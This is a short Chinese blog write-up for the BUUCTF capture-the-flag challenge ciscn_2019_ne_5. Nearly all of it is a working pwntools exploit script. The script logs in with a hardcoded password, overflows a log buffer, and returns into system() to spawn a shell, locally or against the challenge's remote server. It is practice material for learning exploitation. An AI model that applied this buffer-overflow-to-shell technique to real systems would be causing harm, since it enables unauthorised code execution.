BUUCTF ciscn_2019_ne_5

這道題是一道典型的ROP一開始沒找到參數~~
直接溢出emem
exp(其實我寫的很麻煩了很簡單的)

#!/usr/bin/python2
from pwn import *
local=1
if local==1:
	p=process('../binary/ciscn_2019_ne_5')
	elf=ELF('../binary/ciscn_2019_ne_5')
	libc=elf.libc
else:
	p=remote('node3.buuoj.cn',29140)
	elf=ELF('../binary/ciscn_2019_ne_5')

lg=lambda address,data:log.success('%s: '%(address)+hex(data))

def add(log):
	p.sendlineafter(':','1')
	p.sendlineafter('log info:',log)

def show():
	p.sendlineafter(':','2')

def getflag():
	p.sendlineafter(':','4')

def print1():
	p.sendlineafter(':','3')

def exp():
	main=0x08048722
	pop_ebp=0x08048720
	p.recvuntil('password:')
	p.sendline('administrator')
	add('a'*0x4c+p32(elf.sym['system'])+p32(0xdeadbeef)+p32(0x80482ea))
	getflag()
	p.interactive()

if __name__=="__main__":
	exp()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章